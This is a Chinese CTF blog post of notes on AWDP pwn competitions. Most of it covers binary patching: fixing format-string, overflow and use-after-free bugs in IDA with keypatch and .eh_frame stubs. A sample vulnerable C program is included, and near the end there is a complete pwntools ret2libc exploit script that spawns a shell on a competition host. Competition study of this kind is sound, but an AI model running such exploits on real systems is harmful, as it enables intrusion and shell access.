没咋打过AWDP,就连AWD打的也很少,因为第一次打线下赛,所以准备写个笔记记录一下,完事之后在准备在补点笔记。

Web那边我不知道,只记录了pwn这块的

唉,菜就多练。

简介

没啥说的,就是跟AWD差不多

漏洞加固技巧

在AWD中每个选手会分配到一个运行了漏洞程序的靶机,我们可以找到自己靶机中的PWN附件(也就是漏洞程序)进行分析,发现漏洞来编写exp攻击其他队伍的靶机,同时我们需要用一些手段加固漏洞防止被其他选手攻击得分。

patch-PWN

patch就是通过修改漏洞程序的漏洞汇编代码从而防止其他选手进行漏洞利用,不同的awd平台检查机制各不相同,原则上是只能针对漏洞点进行 patch 加固

工具介绍:ida插件keypatch

链接:通过百度网盘分享的文件:IDA_Pro_7.7.zip
链接:https://pan.baidu.com/s/1M2OunlHHhSjwCaWLyGsQNA
提取码:Rweb

image-20241111142855758

image-20241111142749078

整数溢出

跳转指令

image-20241111204227032

有符号跳转

image-20241111204256114

思路:所以patch整数溢出便是针对于汇编中的跳转指令进行patch

image-20241111205452303

这里没找到合适的例题先放着

栈溢出

通常是限制长度就行

x64

栈溢出还是比较好修的。直接patch就行了

image-20241111210200757

x86

因为是栈传参,所以直接修改push就行了

image-20241111210445900

格式化字符串

常规方法:

可以将call printf改成call puts

image-20241111213204899

本来是像网鼎杯线下准备的,结果换了

就先放着等有时间再来接着写

OK!!2025.3.3

回来继续写!

方法二:

缺点:

像前面的情况puts 函数会自动在输出的字符串尾部加入一个回车符,某些情况下导致 check 脚本不通过。

SO,

修改printf参数,将printf(format)修改为printf("%s",format),修改 printf 前面的传参指令:

1
2
mov edi, offset 0x400c01 ;地址为%s的地址
mov esi,offset format;

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>

unsigned int __readgsdword(unsigned int offset) {
return 0xdeadbeef;
}

unsigned int ctfshow() {
char s[40]; // [esp+4h] [ebp-34h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u); // 存储栈金丝雀
scanf("%s", s); // 限制最大输入长度,避免溢出
printf(s); // 存在格式化字符串漏洞
scanf("%s", s); // 限制输入,防止溢出
return __readgsdword(0x14u) ^ v2; // 用于检测栈金丝雀是否被篡改
}

int main() {
ctfshow();
return 0;
}
//gcc -no-pie -fno-stack-protector -o 1 1.c -std=gnu89

x64

我们ida打开看见printf

image-20250303150034676

image-20250303150128004

1
2
mov     rdi ,offset 0x000000000402004
;mov esi,offset format

path之后

image-20250303150419054

image-20250303150428245

但是这种也有局限性吧,也就是如果找不到%S的地址,就会patch失败

一般是在data段上

—-2025.3.11

例题:2024年国赛-where is my stdout

回来补充一下,当我们在data段上找不到我们的data段上找不到**%s的时候,我们就需要在.eh_frame段上写一个%s**就可以了

image-20250311205756472

随便找一个位置,修改字节码为

1
2
25 
73

image-20250311205902770

然后我们就可以看见字符串%s了

image-20250311210111158

ok了,图上只是大小段序的问而已不影响做题。

1
mov  rdi ,offset  0x04020EB

image-20250311210306004

就不知道这样行不行,check机制不知道能不能过。

image-20250309203913776

x86

主要区别就是在于传参的方式

image-20250303153242146

1
2
;lea eax, [ebx + (0804A008-0x804A00)]
lea eax, [ebx + (-0x1FF8)]

但是换成这样的话,你会发现我们的字节不够,会把后面的指令覆盖掉

image-20250303184255235

准备暂时先这样,一般也不会出32位的吧

只能写到eh_frame段上,这样的化就是只改call _printf改为跳转

在en_frame段上写指令就行了吧

更换危险函数

这里就是把gets函数换成read函数

例题:BUUCTF-ciscn 2019_c_1

没啥说的,溢出点一下就找到了

image-20250308163615259

这块看字节长度是不够的

so我们只能把这个修改为我们自定义的read函数,让函数跳转到我们自定义的汇编程序上

1
2
3
4
5
6
mov rax,0
mov rsi,rdi ; s
mov rdi,0
mov rdx,0x30h ;
syscall
ret ;这里的指令最好换成call跳转的下一条指令

我们ctrl+s打开找到.en_frame段并且看一下它的的权限

image-20250308170135646

我们看见是没有可执行的权限的

但是!!!!!!

这里看一下其实我们gdb调试的时候我们是可以看见这段是由可执行权限的
image-20250308170521017

so,我们不改的话,其实也是没有问题的

但是我们F2查看ELF头的时候

image-20250308172556226

我们发现整段都是可执行的,可能这也是gdb调试的时候发现有可执行权限的原因吧

如果没有怎么办

我们翻到elf头改为可执行,这里是直接给了所有权限

修改如下:

image-20250308171153730

改为:

image-20250308175401452

这里笔者用的change byte改的,注意一下大小端序的问题就可以了

image-20250309141854071

跟换函数

在我们的.en_frame段找到一段空白的地方

首先重命名一下

image-20250308180215865

然后我们依次patch就ok了

在最后一个跳转回来的时候

image-20250308180547281

这里使用ret而不是jmp loc_400AB4(call 0x0000000004009E2)

image-20250308180627221

原因是

image-20250308180751383

so ,最后patch我们的call _gets即可

image-20250308180852202

然后我们正常打补丁就可以了

image-20250308181206151

验证一下

image-20250308181612314

我们发现我们打完补丁之后的验证会发现我们打完补丁会多一个回车。

至于为什么会多一个回车原因如下:

image-20250308182544023

简化原因就是:

1
2
>"hello world\0"   //gets
>"hello world\n" //read

所以多了一个回车,当然这只是笔者这么觉得

UAF

例题:ctfshow-pwn141

UAF没啥说的user-after-free漏洞

定位到我们的漏洞函数着,函数释放完堆块,指针没有置NULL

image-20250310190154358

但是为什么和我看的文章不一样呢?
尝试patch

这里还是直接去看.eh_frame段,老这样还是先起一个名字然后看一下权限

image-20250310190403137

明显的没有执行权限,但是根据上面的做题技巧,我们去看一眼.eh_frame的ELF头

image-20250310190638664

image-20250310190922963

坏了这下真得改了

image-20250310191233199

这里直接改成可读可写可执行,打个补丁,验证一下

但是!!!!!

patch完之后,我们看见我们的权限是没有变的!

image-20250310193220823

这里还是准备尝试打一下补丁

看文章说是复制前面的指令到.eh_frame段上

啥意思就是最后给pr指针只为0呗

1
2
3
4
5
6
7
call  0x8049134         ;_free
mov eax, offset notelist
mov edx, [ebp-0x14] ;mov edx, dword ptr [ebp+var_14]
mov eax, [eax+edx*4]
mov r8 , 0x0h
mov [eax+edx*4], r8
jmp 0x08049589

例题:2023-StrangeTalkBot和2024决赛ezheap

笔者找啊找!

我靠这里笔者是复现的[第十七届CISCN总决赛-AWDP-PWN部分题解](file:///D:/Astudy/title/pwnCTF/AWDP/国赛/看雪/[原创] 第十七届CISCN总决赛-AWDP-PWN部分题解-CTF对抗-看雪-安全社区_安全招聘_kanxue.com.html#msg_header_h2_3)

找猫画虎的

ok,我们先看一下StrangeTalkBot这道题

image-20250314150732750

这里没啥说的,直接就是UAF漏洞

image-20250314151148711

看一眼反编译

image-20250314151400296

但是笔者这么改不知道能不能过check机制了

AwdPwnPatcher

我靠,看下这个自动化脚本

依赖环境

1
2
sudo pip install pwntools
sudo pip install keystone-engine

设置环境变量

1
2
3
4
export PYTHONPATH=/path/to/AwdPwnPatcher:$PYTHONPATH

#export PYTHONPATH=/home/llq/tools/AwdPwnPatcher/AWDP:$PYTHONPATH

脚本

1
2
3
4
from AwdPwnPatcher import *

binary = "./test"
awd_pwn_patcher = AwdPwnPatcher(binary)

脚本跑不起来,注意一下环境变量即可

但是这里笔者不建议用工具修,还是自己修来的快一些。

2024-CISCNx长城杯铁人三项-半决赛

果然线下被打爆了

这里笔者想总结一下自己第一次打AWDP也算是最后一次打线下赛了

image-20250318182510921

AWDP

typo

这里笔者也是比较幸运,在第一轮就修成功了

这里笔者推荐一个插件Accenture/VulFi

插件用法我就不介绍了,扫到两个洞,笔者歪打正着整好给修了

image-20250318184732085

思路如下:改snprintf为puts,修改溢出的8字节

漏洞1:这里是直接改call plt表就行。(不会的直接call back)

image-20250318185145293

漏洞2:这里是直接keypatch抹去八字节即可

image-20250318185459552

prompt(赛后复现)

这里笔者也是赛后复现的,怎么说呢?想歪了,到最后是没有次数了

image-20250318195349750

笔者刚开始改的这个的大小,后面就是越改越远了

这里老样子改写eh_frame段的可执行权限

这里可以用010改,或者用上面的方法改应该没啥问题,都试试

image-20250319111745492

或者改010这里也没啥问题

image-20250319111813778

这里赛后是复现了一下,真正的漏洞是在这里

image-20250319112257837

限制一下最大长度就好,正常跳转到en_frame段上就好

image-20250319112941110

然后patch即可

image-20250319113123111

渗透

这里渗透的靶机入口也是一道pwn,web手把elf文件提出来,扫一下端口(65533)

image-20250319113257369

没啥说的,ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./exrop')
p=remote('172.19.164.30',65533)
#p = process('./exrop')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
ret_addr = 0x000000000040101a
rdi_addr = 0x0000000000401181

payload = b'a'*(0x130+8)+ p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

puts_addr = get_addr64()
pr(hex(puts_addr))


libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()

#attack2
payload = flat([b'a'*(0x130+8),ret_addr,rdi_addr,bin_sh,system_addr])
p.sendline(payload)



inter()

得到权限后,有个sudo提权,然后之后的反弹shell打内网就是web手接手了

附件

通过网盘分享的文件:比赛附件.zip
链接: https://pan.baidu.com/s/1ftbu75MbKZVy2gF_PopcDw 提取码: Rweb

总结

AWDP对我来说,不会打不一定不会修,怎么说,临近比赛前突击一下即可。还有就是要对渗透那边至少应该多少会一点,比如基本的外网打点,扫扫端口和域名啥的。对web的一下语言应该也要有些了解,比如php语言之类的,感觉那道phppwn就是纯web,可以让队里面的web手看看。

笔者觉得在修这方面,主要修的越快越好,修的轮数越早吃的分越高。刚开始不用太着急审代码,直接插件扫一遍,简单修一下,说不定就修掉了,因为他不会都出难的,肯定是有简单的,修完一遍之后在,在着重去审计代码,还有就是不要太死嗑一道题,因为是有次数限制的。

最后就是,在最后几轮的时候,就可以随便修了,碰碰运气。

参考文献:

AWDPwn 漏洞加固总结 - FreeBuf网络安全行业门户

AWD PWN方法总结 - 先知社区 (aliyun.com)

pwn patch ciscn_2019_c_1 - 叶际参差 - 博客园 (cnblogs.com)

aftern00n/AwdPwnPatcher (github.com)

AwdPwnPatcher/Tutorial.md at master · aftern00n/AwdPwnPatcher (github.com)

特别感谢:

bananaships师傅

inf_师傅

( ゜- ゜)つロ师傅


什么时候才能学成CTF高手哇~~

-2025.3.8 回“这辈子别想了”

-2025.3.19 回尽力就好,别想太多。